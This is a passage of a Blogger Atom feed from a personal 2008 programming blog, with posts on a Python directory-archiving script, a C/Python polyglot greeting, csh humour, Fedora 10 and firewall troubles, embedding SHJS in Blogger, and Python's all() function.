    parser.set_defaults(suffix="", arch="archive", skip=1)

    parser.add_option("-s", "--src-dir", dest="src",
            help="source directory", metavar="SOURCE_DIR")
    parser.add_option("-a", "--archive-suffix", dest="arch",
            help="archive suffix (default: \"archive\")", metavar="NAME")
    parser.add_option("-u", "--suffix", dest="suffix",
            help="suffix (default: empty string)", metavar="SUFFIX")
    parser.add_option("-k", "--skip", dest="skip", type="int",
            help="levels of directories to skip (default: 1)", metavar="NUM")

    return parser


def canonizearchsuffix(raw_arch_suffix):
    """Validate and canonize the user-provided archive suffix."""
    split_path = raw_arch_suffix.split("/")
    if split_path[0] and not any(split_path[1:]):
        return split_path[0]
    else:
        raise RuntimeError, "Archive suffix must be a single, relative path."


def calltargzip(archivedir_relname, output_basename):
    """Call and wait for tar/gzip processes.

    archive_relname: archive directory path relative to parent dir.
    output_basename: basename of the output tarball.

    usage: chdir to the parent directory before calling this.

    """
    global GLOB_ERRNO
    # Prepair tar arglist
    tar_args = ["tar",          # argv[0]
            "-c",               # create
            "-f", "-",          # to stdout
            "--preserve", "--selinux", "--xattrs", "--acls",    # preserve info
            "--remove",         # remove orig. after archive update
            "--wildcards", "--wildcards-match-slash",   # exclude option
            # exclude the archive dir itself and everyting under it
            "--exclude", "%s*" % archivedir_relname
            ]
    # Prepair input file list.
    input_files_all = os.listdir(".")
    # Complete tar's arglist
    tar_args.extend(input_files_all)

    # Create output file
    output_relname = os.path.join(archivedir_relname, output_basename)
    try:
        # NOTE: with the O_EXCL flag symlinks are not followed (good),
        # see open(2)
        out_fd = os.open(output_relname,
                os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0600)
    except OSError:
        # Can't create.
        _warn("Warning: Can't create output file %s" % output_relname)
        GLOB_ERRNO |= RC_TABLE["openfail"]
        return None

    # Create children
    children = []
    tar_proc = subprocess.Popen(tar_args, stdout=subprocess.PIPE)
    children.append(tar_proc)
    gzip_proc = subprocess.Popen(["gzip", "-9"], stdin=tar_proc.stdout,
            stdout=out_fd)
    children.append(gzip_proc)

    # Wait for the children to do the work (child labor)
    gzip_proc.wait()
    tar_proc.wait()

    for child in children:
        if child.returncode != 0:
            # don't exit on possible failure
            _warn("Warning: Child process %d exited with return code %d." \
                    % (child.pid, child.returncode))
            GLOB_ERRNO |= RC_TABLE["childfail"]

    # clean up
    # This chmod is vulnerable to link attacks. Unless Python implements
    # fchmod() there's no easy fix.
    perm_mode = stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH
    try:
        os.chmod(output_relname, perm_mode)
    except OSError:
        _warn("Warning: Can't chmod() to 644 on file %s." \
                % os.path.abspath(output_relname))
        GLOB_ERRNO |= RC_TABLE["chmodfail"]
    os.close(out_fd)
    return None


def getlocaltimestamp():
    """Return a date/time stamp in the format of -yyyymmdd-HHMMSS for the
    current local date/time.

    """
    template = "-%Y%m%d-%H%M%S"
    return time.strftime(template)


def getdirstoarchive(base_dir, skip, suffix):
    """Recursive generator that yields one path to a directory a time,
    decending from base_dir, skipping skip levels and finding a subdir
    with name matching suffix.

    """
    if skip == 0:
        newpath = os.path.join(base_dir, suffix)
        if os.path.isdir(newpath):
            yield newpath
    else:
        # XXX: Recursive generator in Python is a bad idea.
        lsdir = os.listdir(base_dir)
        for filename in lsdir:
            jointname = os.path.join(base_dir, filename)
            # Skipping non-directories early.
            if os.path.isdir(jointname) and not os.path.islink(jointname):
                for newpath in getdirstoarchive(jointname, skip - 1, suffix):
                    if os.path.isdir(newpath) and not os.path.islink(jointname):
                        yield newpath


def main():
    """Main procedure."""
    global GLOB_ERRNO

    oldcwd = os.getcwd()
    parser = getcmdlineparser()
    options, args = parser.parse_args()

    if options.skip &lt; 0:
        _warn("Negative skip not understood.")
        GLOB_ERRNO |= RC_TABLE["badargs"]
        sys.exit(GLOB_ERRNO)

    try:
        arch_suffix = canonizearchsuffix(options.arch)
    except RuntimeError:
        _warn("Archive suffix must be a single, relative path.")
        GLOB_ERRNO |= RC_TABLE["badargs"]
        sys.exit(GLOB_ERRNO)

    if not os.path.isdir(options.src):
        _warn("SRC_DIR %s doesn't appear to be a directtory" % options.src)
        GLOB_ERRNO |= RC_TABLE["notadir"]
        sys.exit(GLOB_ERRNO)

    timestamp = getlocaltimestamp()     # one run, one timestamp
    archive_basename = "%s%s.tar.gz" % (arch_suffix, timestamp)

    dirs_generator = getdirstoarchive(options.src, options.skip, options.suffix)
    for basedir in dirs_generator:
        os.chdir(basedir)
        if not os.path.isdir(arch_suffix):
            try:
                os.mkdir(arch_suffix)       # it will fail when it should
            except OSError:
                _warn("Warning: cannot make directory %s. Skipped." \
                        % os.path.join(basedir, arch_suffix))
                GLOB_ERRNO |= RC_TABLE["mkdirfail"]
                continue                    # skip this directory.
        calltargzip(arch_suffix, archive_basename)
        os.chdir(oldcwd)

    sys.exit(GLOB_ERRNO)


if __name__ == "__main__":
    main()&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
Perhaps too buggy to be actually used in production...
&lt;/p&gt;

&lt;p&gt;
&lt;em&gt;Update:&lt;/em&gt; Better behavior on exit.
&lt;/p&gt;

&lt;p&gt;
&lt;em&gt;Update:&lt;/em&gt; Don't follow symlinks when "skipping" directories.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-1665548480530136866?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://forums.fedoraforum.org/showthread.php?p=1149341' title='Archiving script for multiple directories.'/><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/1665548480530136866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=1665548480530136866' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1665548480530136866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1665548480530136866'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2009/01/archiving-script-for-multiple.html' title='Archiving script for multiple directories.'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-4098789024309876329</id><published>2008-12-24T12:33:00.012+08:00</published><updated>2008-12-24T20:53:13.720+08:00</updated><title type='text'>Best wishes, from two lands</title><content type='html'>&lt;p&gt;
This piece of code I wrote today is nothing fancy compared to the ingenious code written by great haxx0rs. Just a small X'mas surprise ;)
&lt;/p&gt;

&lt;p&gt;
From C land:
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_c"&gt;#include &amp;lt;stdio.h&amp;gt;
#define main()    int main(void){printf("Merry Christmas and Happy New Year!\n    From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n    From Python land, with love."
#*/
main()&lt;/pre&gt;
&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;Same thing&lt;/span&gt;, this time from Python (2.x) land:
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_python"&gt;#include &amp;lt;stdio.h&amp;gt;
#define main()    int main(void){printf("Merry Christmas and Happy New Year!\n    From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n    From Python land, with love."
#*/
main()&lt;/pre&gt;
&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
Click on the image below to see an animated version of this code displayed in EMACS with alternate syntax-highlighting modes.
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NjUZT8WpbXM/SVHwRDr2ULI/AAAAAAAAABI/aStCGcU_g4c/s1600-h/polyglot.gif"&gt;&lt;img style="display:block;margin-left:auto;margin-right:auto;cursor:pointer; cursor:hand;width: 400px; height: 296px;" src="http://2.bp.blogspot.com/_NjUZT8WpbXM/SVHwRDr2ULI/AAAAAAAAABI/aStCGcU_g4c/s400/polyglot.gif" border="0" alt="Animation of polyglot code in EMACS" id="BLOGGER_PHOTO_ID_5283268013719965874" /&gt;&lt;/a&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-4098789024309876329?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/4098789024309876329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=4098789024309876329' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4098789024309876329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4098789024309876329'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/12/best-wishes-from-two-lands.html' title='Best wishes, from two lands'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_NjUZT8WpbXM/SVHwRDr2ULI/AAAAAAAAABI/aStCGcU_g4c/s72-c/polyglot.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-1027190055946913938</id><published>2008-12-12T17:22:00.006+08:00</published><updated>2008-12-12T17:41:44.169+08:00</updated><title type='text'>Persecute and destroy them in anger from under the heavens…</title><content type='html'>&lt;p&gt;
Please, stop shoving Fortran code down my throat&amp;#x2026;
&lt;/p&gt;

&lt;p&gt;
I have to quote this:
&lt;/p&gt;

&lt;p&gt;
&lt;blockquote&gt;
If you have written a program entirely in Fortran, please do not ask anyone else to maintain your code, unless person is like you and also knows only Fortran. If Fortran is the only language that you know, then please learn at least C and C++ and use Fortran only when necessary. Please do not hold the opinion that contributions in science and engineering are "true" contributions and software development is just a "tool". This bigoted attitude is behind the thousands of lines of ugly unmaintainable code that goes around in many places. Good software development can be an important contribution in its own right, and regardless of what your goals are, please appreciate it and encourage it. To maximize the benefits of good software, please make your software free. 
&lt;/blockquote&gt;
&lt;/p&gt;

&lt;p&gt;
(Original text: &lt;a href="http://autotoolset.sourceforge.net/tutorial.html#SEC12"&gt;"Choosing a good programming language"&lt;/a&gt; from the Autotoolset Tutorial by Marcelo Roberto Jimenez and Thierry Michel)
&lt;/p&gt;

&lt;p&gt;
Thank you guys. You've said for me what I wished to say myself.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-1027190055946913938?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://autotoolset.sourceforge.net/tutorial.html#SEC12' title='Persecute and destroy them in anger from under the heavens&amp;#x2026;'/><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/1027190055946913938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=1027190055946913938' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1027190055946913938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1027190055946913938'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/12/persecute-and-destroy-them-in-anger.html' title='Persecute and destroy them in anger from under the heavens&amp;#x2026;'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-7601444252134964165</id><published>2008-12-01T18:07:00.007+08:00</published><updated>2008-12-01T18:35:55.773+08:00</updated><title type='text'>Evilness of UNIX shells</title><content type='html'>&lt;p&gt;
Today I was installing a piece of software that uses &lt;code&gt;csh&lt;/code&gt; code for its configuration script, which was no surprise. What surprised me was that the author of the software assumes everyone uses &lt;code&gt;csh&lt;/code&gt; as his/her login shell, and put in the install guide things like "in your .cshrc write the following..."
&lt;/p&gt;

&lt;p&gt;
We all know that &lt;code&gt;csh&lt;/code&gt; is evil, don't we? I for one was not offended by evil, but by the assumption that I was the one with the evil!
&lt;/p&gt;

&lt;p&gt;
Anyway, it doesn't matter whether I was offended. What matters is saving the world from evil. However, such an important operation requires elaborate planning beforehand and we must make sure about the priorities of missions: Which evil one should we fight first?
&lt;/p&gt;

&lt;p&gt;
We all know Google Does No Evil. Yes we know it. Therefore, let's find it out with the help of Google! Type "%s is evil", where %s is the one of the shells, in Google's search field (with the double quotes), and the answer is... (click on the image to view a larger one)
&lt;/p&gt;

&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NjUZT8WpbXM/STO57BMDQKI/AAAAAAAAABA/4n_MKFY0gps/s1600-h/evilnessofshells.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://1.bp.blogspot.com/_NjUZT8WpbXM/STO57BMDQKI/AAAAAAAAABA/4n_MKFY0gps/s320/evilnessofshells.png" border="0" alt="csh is indeed evil"id="BLOGGER_PHOTO_ID_5274764012163383458" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
As you see clearly and unambiguously from the chart, &lt;code&gt;csh&lt;/code&gt; is &lt;span style="font-style:italic;"&gt;indeed&lt;/span&gt; the No. 1 evil. There's nowhere to hide.
&lt;/p&gt;

&lt;p&gt;
As for &lt;code&gt;tcsh&lt;/code&gt;... Yes &lt;code&gt;tcsh&lt;/code&gt; &lt;span style="font-style:italic;"&gt;is&lt;/span&gt; &lt;code&gt;csh&lt;/code&gt;!!! Destroy the evil spawn!
&lt;/p&gt;

&lt;p&gt;
Now what about &lt;code&gt;bash&lt;/code&gt;? They are's all links to bash.org ;-)
&lt;/p&gt;

&lt;p&gt;
Disclaimer: This post was posted purely for fun. No holy wars please ;-)
&lt;/p&gt;

&lt;p&gt;
Disclaimer:If you find different figures by doing the same searches, blame Google.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-7601444252134964165?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/7601444252134964165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=7601444252134964165' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7601444252134964165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7601444252134964165'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/12/evilness-of-unix-shells.html' title='Evilness of UNIX shells'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_NjUZT8WpbXM/STO57BMDQKI/AAAAAAAAABA/4n_MKFY0gps/s72-c/evilnessofshells.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-7332281427721276218</id><published>2008-11-26T21:28:00.002+08:00</published><updated>2008-11-26T21:33:14.297+08:00</updated><title type='text'>Fire it up!</title><content type='html'>&lt;p&gt;
Fedora 10终于被放出来了。官网的下载页面上醒目的大字——燃烧吧！
&lt;/p&gt;

&lt;p&gt;
千千万万的Fedora拥护者们，正在通过各种方式下载着LiveCD或DVD镜像，或通过在线软件源进行着网络安装。各大镜像站点都呈现出了流量供不应求的迹象……
&lt;/p&gt;

&lt;p&gt;
我花了一点时间，现在已经设置好了我自己的Fedora 10桌面。现在可以说："This post is proudly powered by Fedora 10, the Latest and Greatest Release by the Fedora Community" :)
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-7332281427721276218?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/7332281427721276218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=7332281427721276218' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7332281427721276218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7332281427721276218'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/11/fire-it-up.html' title='Fire it up!'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-5780275497659481001</id><published>2008-11-23T14:45:00.001+08:00</published><updated>2008-11-23T14:57:25.590+08:00</updated><title type='text'>Kernel &amp; Shorewall &amp; Squid fiasco</title><content type='html'>&lt;p&gt;
今天升级了一下内核，又升级了Squid，然后Squid缓存服务器停止工作，在日志文件里看不到任何外来的连接。于是在本机上试了一下使用Squid发现工作正常，而从别的地址访问则网络超时。看来不是缓存自己的问题，而是网络问题。
&lt;/p&gt;

&lt;p&gt;
紧接着，在本机上启动一个NAT出去、可以访问网络的虚拟机，启动后也没法连接到本机，看来网络是完全瘫痪掉了（但是我可以向外发起连接）。这时候本着胡猜乱碰的思路flush了本机上的iptables, 虚拟机一下子可以通出去了。赶快让Shorewall重新编译了规则并且保存…… 看来应该是之前Shorewall保存的规则文件和新内核不匹配，因为这是在刚更新内核以后发生的。
&lt;/p&gt;

&lt;p&gt;
幸好这个机子只是我自己平时用机，如果我是ssh进一台远程机子，更新内核以后重启，Shorewall不匹配，那就……
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-5780275497659481001?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/5780275497659481001/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=5780275497659481001' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5780275497659481001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5780275497659481001'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/11/kernel-shorewall-squid-fiasco.html' title='Kernel &amp; Shorewall &amp; Squid fiasco'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-1942417791884491683</id><published>2008-11-18T20:21:00.006+08:00</published><updated>2008-11-18T21:50:03.282+08:00</updated><title type='text'>Finally found a way to use SHJS with Blogger</title><content type='html'>&lt;p&gt;
In the &lt;a href="http://supersolenoid.blogspot.com/2008/11/fun-with-python-grammar.html"&gt;last post&lt;/a&gt; I made a small box displaying a piece of Python code with syntax highlighting. This is based on the &lt;acronym title="Syntax Highlighting in JavaScript"&gt;SHJS&lt;/acronym&gt; program made by a developer known as "gnombat" and released under the GNU General Public License. The code is available on the project's &lt;a href="http://shjs.sourceforge.net/"&gt;webpage&lt;/a&gt; hosted by SourceForge.net.
&lt;/p&gt;

&lt;p&gt;
At first, I have trouble getting the JavaScript programs into my Blogger-powered webpages. The scripts executed at page load-time should go to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element, which is sourced from the Blogger template I chose. I tried pasting something like this into my template's header:
&lt;div class="mySHJSContainer"&gt;
&lt;pre class="sh_html"&gt;&amp;lt;script type="text/javascript"&amp;gt;
    ... blah, blah, blah ...
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;No, it doesn't work. Blogger's &lt;acronym title="eXtensible Markup Language"&gt;XML&lt;/acronym&gt; validator basically said, "Sorry, I'm afraid I can't do that. Your XML is invalid." It's understandable that Blogger tries hard to validate the input. Imagine a world where everyone tries uploading invalid or even malicious material to a public web hosting service... But I don't seen anything wrong with my code. Puzzled, I temporarily "hot-linked" to the script files hosted on SHJS's SourceForge.net project page. I asked the author for permission of doing so, and I got a nice reply saying it's OK unless it's generating too much traffic.
&lt;/p&gt;

&lt;p&gt;
Still, the solution was far from optimal. It's a developer's project site which is intended for &lt;span style="font-style:italic;"&gt;development&lt;/span&gt;, not a JavaScript farm! I tried again, and this time I found out the answer.
&lt;/p&gt;

&lt;p&gt;
The problem is with "special" characters like &lt;code&gt;&amp;amp;&lt;/code&gt; and &lt;code&gt;&amp;lt;&lt;/code&gt; in the JavaScript. According to XML standard they are not permitted in the text between XML tag pairs, and should be replaced by "XML entities" like &lt;code&gt;&amp;amp;amp;&lt;/code&gt; and &lt;code&gt;&amp;amp;lt;&lt;/code&gt;. However, the replaced code would no longer be valid JavaScript! OK now the problem reduced to writing "polyglot" code of both XML and Javascript. And &lt;code&gt;CDATA&lt;/code&gt; comes to rescue.
&lt;/p&gt;

&lt;p&gt;
Basically &lt;code&gt;CDATA&lt;/code&gt; is a magical text token telling a parser to stop interpreting enclosed text as XML markup: "Nothing to see here. Move along!". OK, we'll use it, but take care: it's JavaScript we are trying to guard, so don't let the &lt;code&gt;CDATA&lt;/code&gt; mess with JavaScript syntax! Well, all polyglot writers should know the trick is with comments (example taken from w3schools.com &lt;a href="http://www.w3schools.com/xml/xml_cdata.asp"&gt;tutorial&lt;/a&gt;):
&lt;div class="mySHJSContainer"&gt;&lt;pre class="sh_xml"&gt;&amp;lt;script type="text/javascript"&amp;gt;
//&amp;lt;![CDATA[
// Example JavaScript code.
function matchwo(a, b) {
    if (a &lt; b &amp;&amp; a &lt; 0) then {
        return 1;
    } else {
        return 0;
    }
};
//]]&gt;
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
Voilà! There it is!
&lt;/p&gt;

&lt;p&gt;
P.S. To see a real polyglot in eight different programming languages, go &lt;a href="http://ideology.com.au/polyglot/"&gt;here&lt;/a&gt;.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-1942417791884491683?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/1942417791884491683/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=1942417791884491683' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1942417791884491683'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/1942417791884491683'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/11/finally-found-way-to-use-shjs-with.html' title='Finally found a way to use SHJS with Blogger'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-3482123368329848247</id><published>2008-11-15T23:05:00.015+08:00</published><updated>2008-11-18T20:51:02.611+08:00</updated><title type='text'>Fun with Python Grammar</title><content type='html'>&lt;p&gt;
&lt;span style="font-style:italic;"&gt;Readability counts.&lt;/span&gt; --- Tim Peters, &lt;span style="font-style:italic;"&gt;The Zen of Python&lt;/span&gt;.
&lt;/p&gt;

&lt;p&gt;
I'm writing a simple function that checks whether every member in a Python container is &lt;code&gt;None&lt;/code&gt;. This may not be very useful in general but I somehow need one such function now. In my example, the list object to be examined holds a bunch of integers or &lt;code&gt;None&lt;/code&gt;, where the integers are used as indices of another list, and &lt;code&gt;None&lt;/code&gt; indicates unavailable resources. The first idea is of course the built-in function &lt;code&gt;all()&lt;/code&gt; which takes an iterator and returns &lt;code&gt;True&lt;/code&gt; or &lt;code&gt;False&lt;/code&gt;, but no, it is not OK for me.&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;all()&lt;/code&gt; was &lt;a href="http://www.python.org/doc/2.5/lib/built-in-funcs.html"&gt;introduced in Python 2.5&lt;/a&gt;. As the name suggests, it returns &lt;code&gt;True&lt;/code&gt; if and only if all items in the iterator evaluate to &lt;code&gt;True&lt;/code&gt;. This is where the problem lies in: &lt;code&gt;None&lt;/code&gt; is not the only object that evaluates to the &lt;code&gt;bool&lt;/code&gt; value "&lt;code&gt;False&lt;/code&gt;". In my example, &lt;code&gt;0&lt;/code&gt; is a perfect legal value of an index but unfortunately, it also evaluates to &lt;code&gt;False&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
Well, this seems to be a trivial problem. Why not just step in the list and check them one by one? Yes I know that, let's do it. Sorry for the long introduction.
&lt;/p&gt;

&lt;p&gt;
And I came up with this:
&lt;div class="mySHJSContainer"&gt;
&lt;pre class="sh_python"&gt;def _allnone(container):
    """Check (stupidly) whether all elements in container are None."""
    # This is very, very, very Python-2.5-ly.
    return all(item is None for item in container)&lt;/pre&gt;
&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;
As you can see in the comment line, this piece of code takes advantage of Python 2.5's syntax features:
&lt;ul&gt;
  &lt;li&gt;The &lt;code&gt;all()&lt;/code&gt; function. We have already discussed about it.&lt;/li&gt;
  &lt;li&gt;The &lt;a href="http://python.org/dev/peps/pep-0289/"&gt;generator expression&lt;/a&gt; in the parentheses, which appeared in Python 2.4. Not quite so 2.5, but definitely in the same spirit of backward-incompatibility! :P&lt;/li&gt;
&lt;/ul&gt;
Note the generator expression. Do you feel a touch of "human language"? *wink*
&lt;/p&gt;

&lt;p&gt;
This is what I like about Python, that being fun is recognized as one important aspect of "being pythonic". I dare not to say my code ranks above the average in the pythonicity grade ladder, but well, you can find fun even in such novice coding work :)
&lt;/p&gt;

&lt;p&gt;
&lt;br/&gt;
&lt;span style="font-style:italic;"&gt;P.S.&lt;/span&gt; Of course the example code is not well optimized. However, in the light of "Worse Is Better", I'd rather leave it alone for now. For the interested, here is a pointer to a story by Nicolas Trangez: &lt;a href="http://eikke.com/python-all-odity/"&gt;Python ‘all’ oddity&lt;/a&gt;. As you can see in the article, the generator's performance isn't much worse than a plain old function with less overhead.
&lt;/p&gt;

&lt;p&gt;
&lt;br/&gt;
&lt;span style="font-style:italic;"&gt;PP.S.&lt;/span&gt; To further exploit Python 2.5's syntax candies, the line can also be written as
&lt;div class="mySHJSContainer"&gt;
&lt;pre class="sh_python"&gt;all(True if thing is None else False for thing in container)&lt;/pre&gt;
&lt;/div&gt;
This takes advantage of the &lt;a href="http://python.org/dev/peps/pep-0308/"&gt;conditional expression&lt;/a&gt; feature. However, this is unpythonic since the use of &lt;code&gt;if&lt;/code&gt; is unnecessary.
